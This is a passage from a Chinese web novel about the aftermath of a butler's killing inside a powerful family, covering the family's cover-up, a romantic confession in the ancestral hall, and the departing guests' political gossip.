她就这么相信周宴珩吗?沈执背叛沈家背后必然还有其他人,万一周宴珩出卖她,利用这件事挑起沈家家族内斗,她又该如何自处?口口声声说想做沈家的孙女,做得事一件比一件离谱。 气归气,事情总要善后。 沈归灵原本打算先把沈执和姚淄磊的尸体处理干净,没想到沈执突然诈尸了,饶是沈归灵不信神佛,也不免被惊出了一身冷汗。 但很快他就冷静了下来。 沈执必须死,他若不死一定会将周宴珩的事说出去,到时候周宴珩再牵扯出姜花衫,只怕祸坨子会成为众矢之的。 所以才有了那斩钉截铁的致命一刀。 至于姚淄磊,从沈归灵看到他的第一眼就知道他没死,死人的胸腔是不会起伏的,周宴珩对自己太自信了,所以才会做事有遗漏,不过也正是因此才让他侥幸赢下了这一局。 他故意留下了姚淄磊,顺便小小威胁了一下,这样大家即便知道是他杀了沈执,事出有因必然也不会过于苛责他。 其实,以他的能力,只要他想,他可以悄无声息要了沈执的命再继续栽赃给周宴珩,姚淄磊就是最好的人证。 但…… 他这么小心眼,怎么能允许姜花衫上别人的船? 她要上,也只能上他的。 …… 第522章 沈庄的盾 任何事情有得必然就有失。 杀沈执,赢得了与姜花衫共谋的机会,同样也是将自己暴露于危机之中。 沈执能在沈园潜伏三十年,他背后定然还有个高手在谋划,周宴珩之所以暗地灭口,就是不想被沈执背后的人盯上,不管是谁,辛苦谋划了三十年的棋被毁一定会被气疯的,他如此不遮不掩也一定会成为那个人的眼中钉肉中刺。 另一‘失’,是关于布局中的漏洞。 即便他巧舌如簧,但还是留下了最大的破绽,那就是沈执脖子上的致命伤。虽然是为了遮掩周宴珩的痕迹,但这也恰恰暴露了自己。若他真如自己所说的只是想救姚淄磊,打晕或者重伤沈执才是最优解,一刀封喉显然与证词相违背。 沈归灵布局时就知道骗不过沈庄,但周宴珩突然杀人,时间仓促他只能优先摘离姜花衫,为了达到这个目的,所以不得已只能暴露自己。原本他已经做好了受罚的准备,沈庄却打破了这一切。 沈庄在明知他说谎的情况下,单独招来了沈谦和姚礼,可谓用心良苦。 既然已经坐实了沈执叛徒的身份,沈庄比任何人都知道沈归灵未来可能面对什么样的危机?他是家主,要顾全大局,不可能面面俱到顾及所有人,他不行,但有人行。 沈归灵如今是二房最有出息的孩子,以沈谦唯利是图、精于谋算的性子反而能庇护沈归灵,沈执背后之人必然与沈家有关,有沈谦制衡沈归灵也能安全些。 至于姚礼,沈归灵为了救他的儿子惹上了人命,于情于理姚家都会承下这份大恩,有了这份因果对沈归灵日后的仕途定有助力。 沈归灵何等聪明,一眼就看出了沈庄的心思,他低着头,眼眸深邃漆黑,除了舒沐,这个世界上从未有人替他谋划过什么? 此前,他一直觉得沈庄将他接入沈园,逼他放下仇恨也不过是一族之长惯用的制衡之道,但眼下,他第一次对自己的判断产生了动摇。 姚礼听闻姚淄磊生命无忧面色稍缓,神情凝重对着沈归灵拱手作揖,“阿灵,大恩不言谢,这件事姚伯伯记下了,他日若定备上厚礼重谢。” 沈归灵看了沈庄一眼,眼睑微扬斯文温润,“姚伯伯言重了。” 姚礼颔首,转头看向沈庄,“老爷子,我想先去看看阿磊。” “嗯。”沈庄给郑松使了个眼色,神色温和,“这件事委屈阿磊了,沈家定会彻查到底,给你一个交代。” 姚家若要起复还得仰仗沈家,沈庄都已经把话说到这份上了,姚礼也生不出什么怨气,急急忙忙出了秋园。 待人走后,沈谦神色凝重,住手上前搀扶沈庄,“爸,这件事您打算怎么处理?” 沈庄皱眉,略带不满看向沈归灵,“你可知错?” 沈归灵不动声色,扑通跪下,态度诚恳,“是我太冲动了,爷爷要打要罚我都认。” 沈谦皱眉,“爸,这事怎么能怪阿灵呢?他也是为了沈家啊?要是真让沈执杀了姚淄磊那才是给沈家招黑。” “救下姚淄磊的法子多得是,他倒好,直接一刀封喉!”沈庄气的举起拐杖对着沈归灵的肩膀狠狠敲了一棍。 沈归灵闭眼,默默受了这一棍。 沈谦顿时变脸,一脸惊慌拉着沈庄,“爸!你这是做什么?别把孩子打坏了!一个叛徒而已,死了就死了,值得你发这么大的脾气吗?” 几个月前,沈庄因度假山庄一事鞭罚沈归灵等三人,当时沈谦冷眼旁观,即便沈归灵被打得皮开肉绽他也没有帮着说一句话,眼下不过一棍就心疼成了这样,利益有时候比血缘更可靠。 沈庄一把甩开沈谦,“你说的轻巧,好好的大活人躺在这,前面还开着宴,你让沈家的脸往哪搁?” 沈谦死死拽着沈庄的拐杖,生怕他一不留神沈归灵就被敲死了,“爸,您消消气,沈执潜伏三十年,这事细思极恐,这事就交给我处理吧。” “你?”沈庄斜眼打量他。 沈谦忙不迭点头,“爸,这事可不容姑息,必须彻查到底。阿灵马上就要去南湾舰队了,不能因为一个叛徒就毁了他的前途啊,您说是不是?” 沈庄略有迟疑。 沈谦见有戏,继续游说,“爸,您看要不这样?对他就说沈执与贼人勾结被我撞破,他欲谋害于我最后被当场射杀?” “……” …… 第523章 联盟破灭 沈归灵原本以为沈庄是想让沈谦做他的庇护,没曾想沈庄直接拿他挡刀。 果然,姜还是老的辣。 沈谦唯恐沈庄不同意,苦口婆心,“爸,事情都已经这样了,您总不能把阿灵的前途也赔进去吧?” 沈庄皱眉,回头看了沈归灵一眼,摆摆手,“家门不幸啊,家门不幸,随便你们,我不管了!” 说罢,拄着拐杖怒气冲冲走了出去。 沈归灵,“……” 沈谦见状,略微松了一口气,伸手托起沈归灵,“起来。” 沈归灵,“爸,给您添麻烦了。” 沈谦并不好糊弄,阴着脸审视他,“阿灵,你老实告诉我,为什么非杀沈执不可?” 沈归灵面露迟疑,欲言又止。 沈谦忽然想到什么,左右看了看压低了声音问道,“跟我有关?” 多疑的人什么都容易联想到自己,沈归灵看了他一眼,点头,“沈执刺杀姚淄磊时,口口声声说是受您指使,还让姚淄磊冤有头债有主回魂索命就找您。” 沈谦当即变了脸色,“岂有此理,他真这么说?” “嗯。我担心他是受了谁的指使故意栽赃给您,若是这样,就算留了活口也难保不会是谁设下的陷阱想要故意拉您下水。万一爷爷信了……” “你做的很对。老爷子原本就对我不放心,要是受了蒙蔽我们在沈家的日子就更加艰难了。”沈谦面色稍缓,重重拍了拍沈归灵,“阿灵,是爸爸错怪你了。” 事事为他着想,这么好的儿子别人只怕打着灯笼都找不着。 沈归灵嘶了一声,侧过肩膀避开沈谦的触碰。 沈谦这才想起沈归灵刚刚还受了老爷子一棍,尴尬收回手,“你受委屈了,先回去好好休息吧。”说罢转眸看向血泊里沈执,眼底泛过一抹阴鸷,“竟然把主意打在我头上来了,我倒要看看沈执背后究竟是何方神圣?” 照这么看,沈执背后的人会直接先和沈谦干上,短时间应该腾不出手对付姜花衫。 沈归灵暂且安心,专心致志开始飙戏,“爸爸,爷爷好像很生气,我还是去祠堂面壁思过吧,免得爷爷迁怒您。” 人怎么可以懂事到这个地步?? 沈谦被感动地父爱泛滥,“思什么过?回去休息。我好歹是一国议员长,难不成连自己的儿子都护不住?” 不去思过,姜花衫怎么知道沈执是他杀的? 沈归灵摇头,语调温和,“正是因为如此,我才不能拖爸爸的后腿。爷爷现在在气头上,得尽快让他消气才行。” 沈谦轻叹了一声,“阿灵,你这么万事替别人着想以后会吃亏的。” * 沈庄离园没多久,便让郑松传话回来先开宴,随即又把沈谦和姚礼请走了。这番操作,就算再迟钝的人也知道沈家后院一定发生了什么大事。 众人推杯换盏看似其乐融融,实则心里都已经在暗暗计算,尤其是沈家人,明显有些坐立不安。 沈执身为暗堂堂主,对事态危机感知明显高于其他人,四下环顾一番轻轻碰了碰沈娇的胳膊,“我有预感,后院出事了,还是大事,” 郑松进园时他曾隐隐感觉到了一股血腥味,能让郑松粘血,这件事必定不小。按往常,这个时候老爷子怎么着也该请他去处理,但这次却叫了沈谦和姚礼,这番操作实在让人摸不清头脑。 沈娇心里门清,神色淡然,“只要有老爷子在,就出不了大事。” “道理是这么个道理,但你就不好奇他怎么独独就叫了老大和姚礼?” 沈娇略有些心不在焉,目光在沈兰晞和沈清予之间徘徊,“有什么好好奇的?等老爷子愿意说的时候自然就知道了。” 沈执皱眉,“你摇摇摆摆看什么呢?” 沈娇收回目光,若无其事摇了摇头,“没什么。” 沈执嗔怪,顺着她的目光看了过去,见姜花衫正拉着沈兰晞说话,沈清予有事没事横插一脚,没心没肺笑了起来,“衫衫还真是逗人喜欢,连兰晞那个冰坨子都拿她没办法。” 沈娇笑了笑,“她要不逗人喜欢,我也至于这么疼她?” “兰晞你立下这么大的功勋我们几个长辈还没来得及祝贺,来,周爷爷敬你一杯!” 周国潮一起哄,余斯文立马笑着端起酒杯,“英雄出少年,金枪之家果然名不虚传,沈老教的好啊。” 这话一出,其余众人也跟着附和,一时间酒席上清一色都是对沈兰晞的赞美。 在座的都是名声显赫的长辈,沈兰晞谨遵礼训,端着酒杯起身,逐一回敬,“周爷爷请。” 一杯酒下肚,高止立马上前添酒,沈兰晞微微蹙眉,用手掸开高止的酒壶,随手拿起桌前的盛酒的瓷瓶倒了一杯,正要举杯,他的手又被另一只手掸开了。 “……” 喝喝喝!自己什么酒量不知道了,要是喝醉了等会后院闹起来谁帮我说话? 姜花衫二话不说从高止手里接过酒瓶,换了只酒杯倒满后推到沈兰晞跟前,沈兰晞略有些犹豫,他就是知道高止给换了水才不喝的。 见他不为所动,姜花衫皱着眉头狠狠瞪着他。 “……”沈兰晞默默端起水杯,“余先生,谬赞了。” 原来你的原则只是为我所设,高止在心里默念言情对白,隔着墨镜对翻了个沈兰晞白眼。 敬了一圈,沈兰晞依旧面色清明,桌上人又开始变着花样夸。 沈清予双手抱胸靠着椅子,斜眼打量姜花衫,见她不厌其烦给沈兰晞倒了五六杯水终于按耐不住,用公筷给她夹了个狮子头,“这么出风头的事你管他做什么,吃你的菜。” 你懂个屁! 姜花衫不稀地跟沈清予掰扯,顺手把碗里的狮子头夹给沈兰晞,“兰晞哥,别一直喝……喝酒,吃点东西。” 吃饱了待会儿记得多出力。 沈兰晞看着碗里被戳了四个洞眼的肉丸,起码放空了三秒才反应过来自己不是做梦,小心翼翼收敛着眸底的星光,淡淡道,“不用给我夹,你自己多吃点。” “兰晞好酒量啊!”苏敬琉笑呵呵拍了拍苏灼的肩膀,“你什么时候也能像兰晞一样,爷爷就省心了。” 苏灼笑了笑,主动端杯,“兰晞,乌拉那一战有勇有谋,赢得漂亮,我敬你。” 沈兰晞十分享受被姜花衫照拂的感觉,整个人如同冰雪初融的清潭,“客气了。” 一饮而尽后,酒杯默默往姜花衫的方向推了过去。 “嗤!看不出苏家人还挺会舔的。”关鹤冷哼了一声,对着周宴珩挤眉弄眼。 周宴珩未置可否,面无表情看着对面两人旁若无人的小动作。 关鹤察觉到周宴珩的情绪不对,顺着他的目光看了过去,表情顿时有些微妙,“豁!姜花衫那狗逼怎么一下这么老实?” “……”关楼忍无可忍,伸腿踹了他一脚,“你给我闭嘴。” 周宴珩压下暗光,笑着端起酒杯,“兰晞,我也敬你。” 沈兰晞目光平静,淡淡看了他一眼,微微侧身偏向姜花衫。 姜花衫正要拎瓶,忽然,脑子里传来连续不断的提示音。 【叮——】 【通知:由于当前章节重要剧情人物死亡,原定剧情无法推动,现已为您重新生成剧目篇章。】 【生成完毕——】 【提示:为保证剧目世界秩序稳定,书灵重启模式启动时剧目将自动生成漏洞补丁,当前人物不可对其他人物泄露BUG,一旦违背,被泄露者当即抹杀,泄露者将随机产生一个人物负面标签,标签一旦绑定,人物将无条件顺从】 【警告:主线偏离90%,剧目世界将毁于一旦。】 姜花衫指尖微顿。 当前章节重要剧情人物死亡? 沈执死了? 秋风拂过,鼻尖充斥着点点花香。 姜花衫抬眸,手掌压着酒瓶往前一推,双手抱胸躺了回去。 “……”沈兰晞期待了半天酒杯也没满上,略有不解看着她。 看什么看?还伺候来瘾了?姜花衫凶巴巴瞪了他一眼,随手拿起一瓶高度白酒递上前,“自己倒。” 沈兰晞,“……” …… 第524章 杀人龟 “哈哈哈。”这时,园外传来沈庄爽朗的笑声,“让大家久等了,今日怠慢之处还望诸位多多包涵。” 沈庄一现身,整个宴会瞬间热闹起来,所有不约而同站起身,沈庄见状,连忙摆手,“都是老熟人了,这么见外做什么,坐,都坐。” 众人相互看了看,三三两两入座。 主位悬空已久,沈庄入席场面也真正打开。 “兰晞,喝到哪了?” 沈兰晞不做痕迹收回目光,自斟一杯遥敬周宴珩,这酒比他惯用的辣口,一杯下肚割喉又烧肚。 关鹤被关楼铁拳教育了一顿,不情不愿端起酒杯敬酒,沈兰晞看了姜花衫一眼,见她没有搭理的意思,默默倒了一杯烈酒。由关鹤起头,小辈众人也开始轮番敬酒。 沈兰晞沉着脸,与之前冰雪初融的清冽完全判若两人,等到苏韵举杯,沈兰晞已经少到心肝都在疼。 苏韵看出他不胜酒力,主动开口,“兰晞哥,我喝的是果汁,你以水代酒就好了。” 沈兰晞的确也不想喝了,倒了杯茶水。 苏敬琉含笑点了点头,环顾一圈不由好奇,“老沈,阿灵呢?咱们今天可是来看双将星的,你把另一个藏起来是怎么回事?” 嗯? 姜花衫立马坐了起来,伸着脖子往院外看了看? 还真是,沈龟灵怎么没有来? 沈庄面色不显,“那孩子去外面历练的时候受了点伤,我让他先回去休息了。” 周宴珩眉头微蹙,刚刚那么大的动静应该是沈家人已经发现了沈执尸体,这个时候偏偏沈谦和沈归灵同时不在场,这其中必有隐情。 姜花衫也想到了这一点,在座所有人,除了沈庄,她和周宴珩是唯一知道发生了凶杀案的人, 不行!她必须要搞清楚到底发生了什么。 “啊~~”她故作秋困,打了个哈欠,“爷爷,我好困,我想先回去休息了。” 姜花衫的懒在沈园已经出了名,沈庄并未责怪,抬眸看向郑松,“你送小花儿回去。” 中途离席不说,就这几步路还得郑松亲自送,众人不得不再次刷新了姜花衫在沈家有多受宠的认知。 周宴珩拿出手机,邮件依旧是已读不回,他笑了笑,眼里倒映着姜花衫轻快活泼的背影,还真是完全不把他当回事? * 出了牡丹园,姜花衫顿时精神大震,一把拽着郑松,“郑松,出什么事了?怎么没看见沈管家?” 郑松油盐不进,立在原地纹丝不动,“姜小姐,老爷子只让我送您回院。” 姜花衫双手抱胸,斜着眼睛审视片刻,点头,“好。那我现在就告诉爷爷,你是奸细,刚刚还想谋杀我。” “……”郑松眼角抽动,两道浓密的眉毛几乎快要拧成麻花,两人大眼瞪小眼僵持了许久,最终恶汉郑松败下阵来,“沈管家死了。” “死了?!怎么会这样?”姜花衫故作惊讶捂着嘴巴,“查到凶手了吗?” 郑松点头。 姜花衫眨巴着眼睛,“谁啊?” 郑松略有些犹豫,但一想到沈庄对姜花衫的纵容,还是没有隐瞒,“是阿灵少爷。” “沈归灵?”姜花衫眼里的错愕多了几分真情实意,怎么会是他呢?难不成沈归灵和沈执也有过节,这中间到底发生了什么?? 姜花衫急于弄清楚今天的剧情线,想也没想转身往内院方向跑去。 郑松大步跟在身后,“姜小姐,你去哪?” “我去找沈归灵。” 郑松抬手拦住她,“阿灵少爷现在不在竹园,他在祠堂。” 姜花衫愣了愣,这才反应过来沈归灵的罪名是杀人,沈执也算半个沈家人,若解释不清爷爷不会只怕不会轻饶他。 她思忖片刻,转身往祠堂方向跑去。 …… 第525章 龟遂自荐 沈家祠堂与沁园相通,堂内布置极为雅致,案堂上供奉着六块金漆紫檀牌匾,《忠孝传家》、《清白世守》、《敦本睦族》、《厚德载物》、《慎终追远》、《光前裕后》,每一块牌面都是沈家先祖亲自提笔。 堂下乌金色的地砖经过时间的沉淀愈发清透幽亮,清晰倒映着家族百年荣光。 祠堂的木扇并非掩实,光影透过门缝落下一线生机,沈归灵独身跪在堂前,重睫垂落不知在想什么? “吱呀——” 风带门页轻轻摇晃,阳光折射在地面的扇影被一道重影覆盖。 “嘘~沈归灵~” 沈归灵眼睑微挑,眸底深处的碎光一点一点聚集。 姜花衫四处看了看,猫着身体跨过门槛,小心掩上门后一个箭步窜到沈归灵跟前,一定不委婉,“你怎么回事啊?怎么嘎了沈执?” 沈归灵抬眸,微仰着脖子看着她。 这是什么眼神? 姜花衫皱眉,“跟你说话呢!” 沈归灵,“你不是想要他的命吗?” “……”姜花衫眸光微动,脸上表情几经转换,最后也不装了,拉着裙子半蹲下身与沈归灵对视,“你怎么知道我想要他的命?你监听我?” 沈归灵的本事她早就领教过了,他既然能帮着她监听姜晚意,也能反过来监听她。 姜花衫的语调很平静,像她这么不着调的人,越平静就意味着风暴越大。 沈归灵扯着嘴角轻轻抬头,“我监听了周宴珩。” 周宴珩? 姜花衫略有些意外,但很快她就意识到是邮箱内容出了问题,那封邮件里有她和周宴珩交易的录音,就算是傻子听了也知道是怎么回事,更别提智多近妖的沈归灵。 两人相距不过半臂,这么近的距离,对方眼里再细微的神情都能捕捉的清清楚楚。 姜花衫略有迟疑,“所以……你想告诉我,你是因为我才杀了沈执?” 沈归灵摇头,“不是因为你,是为了我自己。” 姜花衫皱眉,一时没有反应过来,“为了你自己?” “嗯。”沈归灵身子前倾,肩膀轻轻抵着她的肩膀,在她耳侧低诉,“因为我不想你上他的船。” 船和床一时分不清,姜花衫愣了一下,下意识偏头看他,沈归灵预判了她的反应,抬眸接住了她的目光,“我们联盟吧?你上我的船,嗯? 最后一声尾音带着几分讨好的呢喃,就像被小猫的肉爪挠了一下。 姜花衫没有闪躲, 思忖了片刻略有些不解,“沈龟灵,你为什么喜欢我?” 她的问的很认真,似乎对有人喜欢她这种事很不理解。 沈归灵想了想,露出比她更不理解的表情,“你有趣、聪明、漂亮、善良、仗义,这么好,我为什么就不能喜欢你?” 这是她吗?沈归灵是不是对她有滤镜啊? 沈归灵见她翘着眼角有些得意,笑了笑,“你喜欢刺激也好、想要情绪价值也罢,就算是杀人我也可以,所以……我们试试吧?我会比周宴珩做得好,会比他们任何人都做得好。” 姜花衫被他眼里汇聚的星光吸引,皱了皱眉,“试试?试什么?” 沈归灵低头,轻轻吻了吻她的耳朵,“你谋财我害命,你向阳我追光,我喜欢你……你也试着喜欢我。” 姜花衫心底一颤,被吻过的耳垂红的滴血,她有些不适应,低着头用手捂着发烫的耳朵,“这种事还能试?” 沈归灵点头,循循善诱,“规矩是死的,人是活的,自己的人生,游戏规则当然自己说的算,只要你愿意,想怎么试都可以。” 姜花衫拧着眉头,眼底情绪难辨。 沈归灵见状,跪着往前走了一步,两人的影子在乌金地面完全重叠,沈归灵拉下她的手,语调温柔带着几分诱哄,“试试而已,万一不喜欢也没有关系的。” “……” 姜花衫嘴角抽了抽。 沈归灵还真是天赋异禀,随便一句话就抓住了海王养鱼精髓,只不过现在的情况反过来了,他这条小鱼在给塘主洗脑,求她渣自己。 她果然还是太菜了! 意识到这点,姜花衫不动神色往后退,但蹲得太久她的脚早就麻了,身体不受控制往后栽倒,为了稳住重心,她下意识抓住沈归灵的衣袖,沈归灵顺势拦腰搂住她的腰身,把人半圈在怀里。 “咔嚓——” 一声布裂,沈归灵的半边袖子拉开了一道裂缝,削瘦的肩骨顿时暴露在空气中。 什么衣服,质量这么差? 姜花衫正要松手,忽然看见沈归灵晒黑的肩侧又一道深红的淤青,她愣了愣,这是……爷爷打的?” 沈归灵状似不在意,“嗯。沈执的事爷爷很生气。” 也是,终归是一条人命,就算沈归灵再说得轻描淡写,也不能掩盖他曾经历的惊险和危机。 姜花衫心里五味杂陈,无意识攥紧手里的白衬衣,沈归灵眸光微动,俯下身一点一点靠近她,就在高挺的鼻尖划过香软的脸颊时…… “砰——” 一声巨响,祠堂两扇木门对半折开,碎光倾泻流出落在两人相抵的侧脸。 …… 第526章 女王大人的爱 两人同时一愣,待看见门外之人,姜花衫吓得浑身一颤,整个人差点炸毛。 沈归灵只在最初有些许怔愣,很快淡定如初,低头拍了拍姜花衫的肩膀,“别怕。” 姜花衫瞪了他一眼,一把把人推开,忙不迭站起身,“妈……妈妈……” 沈娇脚踩着碎光从门外走了进来,目光在姜花衫和沈归灵之间逡巡片刻,最后落在沈归灵被撕坏的衬衣上。 姜花衫眼珠转了转,赶紧解释,“不小心。” 沈娇挑眉,眼里不辨情绪,“偷跑进祠堂也是不小心?” “……”姜花衫顿时语塞。 沈娇看了沈归灵一眼,不置一词转身出门,跨出门槛时见姜花衫毫无反应,略有不满,“怎么?还舍不得走?” “舍得舍得。” 姜花衫正要跟上,沈归灵毫无预兆一把拽着她的手,眼里满是不舍,“你还会回来的,对吗?” 对个屁咧! 姜花衫眼皮跳了跳,恶狠狠瞪着沈归灵,别搞啊! 沈归灵眼眶微红,慢慢松手。 沈娇看不下去,转身就走。 “……”姜花衫气极,顾不得沈归灵一路小跑追了上去。 “妈妈,你……你听我解释!” 沈娇充耳不闻。踩着十厘米的钻石高跟一路疾走,直到转出沁园的才终于停了下来。 姜花衫慢慢靠近沈娇,犹豫片刻觉得还是应该把事情解释清楚,沈娇真心真意待她,她不想沈娇对她失望。 “你别生气了,其实我和沈归灵……” 不等她开口,沈娇忍无可忍,气急败坏点着她的脑门,“你啊你,是不是太无法无天了?你怎么能把我教你的东西都用在阿灵身上?你现在把他迷成这样,老爷子知道了肯定饶不了我。” “……”姜花衫张了张嘴,一突然自己要说什么。 沈娇见她默认,更是恨铁不成钢,“你要喜欢长得漂亮的,外面一抓一大把,你何苦招惹家里的?你就是太年轻了,只图一时乐分不清轻重。” 姜花衫,“……” 沈娇皱眉,没好气捏了捏她的鼻子,“怎么不说话了?平时不是话很多吗?怎么不狡辩了?” 姜花衫也觉得自己应该狡辩一下,清咳了一声,“事情不是你想的那样,我和他还没有关系。” 沈娇斜睨她,“没什么关系阿灵都愿意替你杀人?你这是把他迷成智障了?还是把我当智障?” “我……这……你……” 姜花衫脸色僵住,这句话里的信息点太多,饶是她反应再快也来不及反应,最后只憋出一句,“你在外面偷听?” 沈娇眼神飘忽了一下,但做母亲的怎么能在孩子面前底气不足,沈娇强装镇定,摆出女王架势,“你胆子也太大了,幽会也知道留个心眼,我不替你守着万一被别人撞见怎么办?” “……”姜花衫捂着额头,感觉脑子里的CPU都要烧坏了。 是她不对还是沈娇不对? 这里面哪件事单拎出来不是天塌下来的大事,怎么沈娇的反应竟然是这样? “怎么了?一副要命的样子?” 姜花衫皱眉,“您既然都听见了,您不生气吗?我是说沈执的事。” “我还以为什么事。”沈娇不在意笑了笑,“我知道你是好孩子,只这一点就够了,至于生不生气。原本是生气了,大人的事你一个孩子操什么心?但细细想,要是大人都做好了,那还用一个孩子费心思,说到底还是大人失职了。” 姜花衫眼眶微热,她好像忽然明白为什么爷爷会放过沈归灵了,真正爱你的人,从不从你身上找问题,他们只会觉得是自己不够好。 所以在爷爷心里,沈归灵也是好孩子。 她突然很庆幸自己拥有重新经历一次人生的机会,因为若没有这次相遇,她永远都不会知道,曾经那些被她当成一页篇章略过的人,原来都曾心怀柔情付过真心。 姜花衫吸了吸鼻子,一把抱住沈娇,“女王~” “行了,现在不是撒娇的时候。”沈娇不解风情推开她,表情严肃,“不开玩笑,沈归灵现在是沈谦心头肉,以他卑鄙阴险的性格,要是知道沈归灵被你迷成了智障,难保不会做出什么?尤其沈执的事情绝对不能让他知道。” “还有,以后在沈园不许幽会,要实在忍不住我给你们找地方。” “……” * 第527章 权利心思 牡丹园的权贵宴宾客尽欢,众人告辞时,沈庄特意赠了名贵牡丹聊表歉意。 宴席散去,所有喧闹皆归于平静。 沈庄端坐在主位,沈家人神色不一,所有都知道内院出了事,但老爷子没有叫停宴会,沈家的颜面就必须撑起来,现在没有外人想逼老爷子要算账了。沈娇换了一身衣服姗姗来迟,见气氛凝重小心落座。 “都吃好了?” “吃好了就随我一起去沁园吧。” 沈庄拄着拐杖缓缓起身,头也不回在前面领路,其余人相互看了看默默跟随。 * 心如明镜的不仅仅是沈家人,还有各方离席的宾客。 周家的车率先驶出前坪,周家老爷子闭目养神,漫不经心把玩着手里的极品天珠,“想什么呢?从出了沈园就一直心不在焉的?” 周宴珩侧头看着窗外,虽然沈园已经淡出了视线,但他的心思还留在那没有出来。 他原本以为沈执和姚淄磊的死会让沈家人措手不及,为了追杀凶手,所有人都会被当做嫌疑人对待。谁知沈庄竟然继续开宴,就算明知后院起火也要将鲸港第一权贵的撑得高高的,沈家人还真是好手段。 周国潮等了一会儿没听见回答,抬眸扫了周宴珩一眼,“你不中意沈家那丫头?” 周宴珩收回目光,看着周国潮。 周老爷子轻轻摩挲着手里的珠串,语调随意,“我看那丫头对你挺上心的。联姻的事,关乎两家脸面,可别出什么岔子了。” 周宴珩想了想,开口道,“我很好奇沈家人不在意萧澜兰的事?或者,您是怎说服沈让的?” 周老爷子神色淡淡,“身处漩涡之中哪能一直盯着旧怨,沈让能在暗堂这么多年,绝不是目光短浅之人。” 周宴珩挑眉“看来您手上的把柄不小。” 周老爷子抬眸,对上周宴珩的目光时眼里多了几分欣慰,“臭小子。” “嗡——” 周宴珩扯着嘴角笑了笑,打开手机。 -【关鹤:我操!你他么到底出去干什么了?不是说让我看戏吗?怎么戏没看成就散摊子了?】 -【关鹤:沈执怎么就没下文了?姜花衫和姚淄磊到底死没死啊?】 -【关鹤:草!你吱个声啊,老子都快好奇死了。】 * 关家车里。 -【周宴珩:滚。】 “我去你大爷的!” 八百字小作文就换个滚,关鹤顿时坐不住了,直接跳起,“我去你大爷的。” 那会儿在沈园,他可是冒着被沈家打死的风险替周宴珩两肋插刀,狗东西就是这么对亲爸的? 关楼正在打视频电话,关鹤冷不丁爆粗把会议对面的秘书吓得脸色都白了,第一反应还以为是自己的工作失误。关楼额角跳动,关了视频冷冷看着眼前的祖宗老爷。 “阿鹤,你什么时候能沉稳一点?” “明天。”关鹤正霹雳啦啦打字炮轰周宴珩,对于关楼的话完全是左耳朵进右耳朵出。 “……”关楼捏了捏眉心,一把抢过他的手机,“也不要明天了,我既然管不住了就找个人管你。今天聚会的姑娘里,有没有喜欢的?” 关鹤原本有些不耐烦,一听说姑娘眼睛顿时发亮,“怎么?你要给我找媳妇?” 关楼点头,“我算是看明白了,关家指望你是指望不上了,我打算学习沈家直接投资孙子算了。只不过我都一把年纪了,也不知道来不来的及?白家女王八十还在执政,这么看我努力一点再活个二十年不成问题。”说罢表情突然严肃,“结了婚马上给我养个孙子,我八十岁的时候我孙子必须成年!” “……”关鹤冷哼了一声,翘起二郎腿,“行啊,我看上苏家千金,你帮我把她娶回来,我明天就给你生个大胖孙子。” “苏家?”关楼对苏家这女儿有印象,斜眼打量关鹤,“那姑娘长得倒是清丽秀慧,只不是跟你不搭吧? 关鹤气笑了,不搭?要不是中途出现个真假千金,他早就睡了苏韵。 关楼打量着关鹤的神情,“真看上了?这次没弄错?” 关鹤嗯了一声,到现在他偶尔想起那年初见苏韵还是有蠢蠢欲动的心悸感,他说不清这是什么,粗暴归类为想睡。 关楼见状将手里的手机扔了回去,“行了,我知道了,等消息吧?” 又等消息,关鹤突然一激灵打了个冷颤,上回老头子也是这么说,结果害他被沈家三个狗逼毒打了一顿。 关楼知道他担心什么,老神在在拍了拍他的肩膀,“放心,苏家嘛,这次不会弄错了。” 关鹤闻言也不好再质疑什么,拿起手机准备继续炮轰周宴珩,刚编辑了一串八百小作文发送,立马喜提一个惊叹号。 关鹤:“……” * “阿嚏~!” 另一边的苏家车里,苏妙忽然打了个冷颤。 苏敬琉立马停止和苏灼的交谈,转头看向苏妙,“妙妙,是不是着凉了?今天跟爷爷回家,让你妈妈给你煮点姜茶暖暖身子。” 苏妙揉了揉鼻子,“爷爷,我没事,刚刚就是突然鼻子痒。” 苏敬琉颔首,又继续和苏灼交谈。 “依着今天的局势来看,余斯文连任应该不成问题,照这么发展下去,余家很快就会成为下一个关家、顾家之流。” 苏灼,“余派最近上台的几条政策反响都不错,新贵的支持率也一直在上升,这么看来老牌政权的位置十年后会大换血。” 他顿了顿,又道:“沈家这几年的布局重心都在军政,看来沈老爷子已经是铁了心要让兰晞子承父业。” 最出色的儿子死于战争,现在又要把最喜欢的孙子送上同样的位置,这不是一般人能做到的。 说起沈兰晞,苏敬琉眼中不觉流露出艳羡的目光,“百年大族的气脉真是玄之又玄,当年沈家主脉尽数殉国,眼看就要被旁支吞并湮灭于鲸港权贵圈,谁知突然冒出一个沈庄,以一人之力撑起了繁衍了百年荣耀。沈庄老矣,沈家又出了惊世天才沈玺,你们父辈谁不曾折服于沈家少帅司令的英姿?” “天妒英才,沈玺以身死为代价为沈家开道延续三十年无人匹敌的荣光,原以为到了沈玺便是天道收回了的对沈家的偏颇,没想到,现如今沈家又出了一对双将星。” “真是人比人气死人。” 车里氛围极其安静,沈灼和苏韵听罢,眼中思量不定。 苏妙单手托腮看着窗外的风景,她的心思并不在此,犹豫片刻还是给姜花衫发了一条慰问信息。 很快姜花衫发来消息。 -【安~】 …… 第528章 明牌!家族会议 沁园。 花厅的气氛安静至极。 沈渊左右看了看,率先打破沉默,“爸?到底出了什么事了?大哥和阿灵哪去了?” 沈庄背靠着圈椅,神色淡然,“急什么?该来的时候就来了。” 沈渊碰了个软钉子略有些无语,随手端茶遮掩尴尬。 少顷,沈谦带着莫然匆匆步入花厅。 “爸。”沈谦上前见礼,转身落座沈庄下手。 莫然小心环顾了一眼,谨小慎微站在沈谦身后。 沈庄放下拐杖,“人都到齐了,老大,你给大家说说吧。” 沈谦鲜少家族会议中如此露脸,故作姿态,“我知道大家一定都很好奇今天后院究竟发生了什么?都是自己家人,我就直说了。” “此前衫衫因走私军械案被告法院之事大家一定都还记得吧?检方在对簿公堂之前就已经掌握了我们的对诉方案,那个时候我就隐隐察觉沈家出了叛徒。今天,我终于把那个叛徒逮住了。” 这话引起了所有人的注意,就连沈兰晞都不吝啬于好奇的目光看向沈谦。 沈谦沉着脸,目光在众人之间游离,“沈执就是这个叛徒。” “沈管家?” 沈家人错愣不已,回过神后不约而同看向沈庄。 在沈园,沈执就代表了沈庄,如果这样的人都是叛徒,这件事细思极恐。 沈庄知道大家在想什么,轻声了一声,点头,“这件事已经查清楚了,不会有错。” 